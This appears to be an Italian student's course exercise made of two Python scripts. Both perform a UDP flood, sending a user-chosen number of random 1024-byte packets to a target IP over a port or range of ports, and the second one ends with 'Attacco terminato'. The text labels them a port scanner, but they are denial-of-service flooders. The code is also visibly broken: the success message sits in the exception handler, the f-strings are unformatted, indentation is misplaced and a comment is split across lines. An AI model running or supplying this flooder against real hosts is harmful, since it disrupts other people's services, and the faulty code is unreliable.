

Esercizio W7D4 di Pandolfi Luciano

```
import socket
import random
import time

ip_target = input("Inserisci l'ip da scansionare: ")
port_target = input("inserisci la porta da scansionare: ")
numero_pacchetti = int(input("Inserisci quanti pacchetti vuoi inviare:"))
print("Server avviato, in attesa di connessione ... ")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for i in range(numero_pacchetti):

    packet = random._urandom(1024)

    try:
        s.sendto(packet, (ip_target, port_target))
    except Exception as e:
        print(f"Pacchetto {i + 1} inviato ad {ip_target}:{port_target}")
        time.sleep(random.uniform(0, 0.1))

s.close()
print("Trasferimento pacchetti completato!")
```

Port scanner UDP Flood che, dato in ingresso un IP target e un range di porte, invia un numero di pacchetti UDP scelti dall'utente.

```
import socket
import random
import time
```

```
ip_target = input("Inserisci l'ip da scansionare: ")
portrange = input("inserisci un range di porte da scansire (es 1-100): ")
numero_pacchetti = int(input("Inserisci quanti pacchetti vuoi inviare: "))
```

```
lowport = int(portrange.split("-")[0])
highport = int(portrange.split("-")[1])
```

```
print("Verranno scansionate le porte da {lowport} a {highport}")
closePort = []
for port in range(lowport, highport+1):
```

```
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

```
for _ in range(numero_pacchetti):

    packet = random._urandom(1024)

    try:
        random_delay = random.uniform(0, 0.1)
        #time.sleep(random_delay)#creazione di un ritardo casuale nell'invio dei
pacchetti
        print("*** Invio verso la porta:{port} ***")
        s.sendto(packet, (ip_target, port))

    except Exception as e:
        print("C'e' stato un errore :{e}")

s.close()

print("Attacco terminato")
```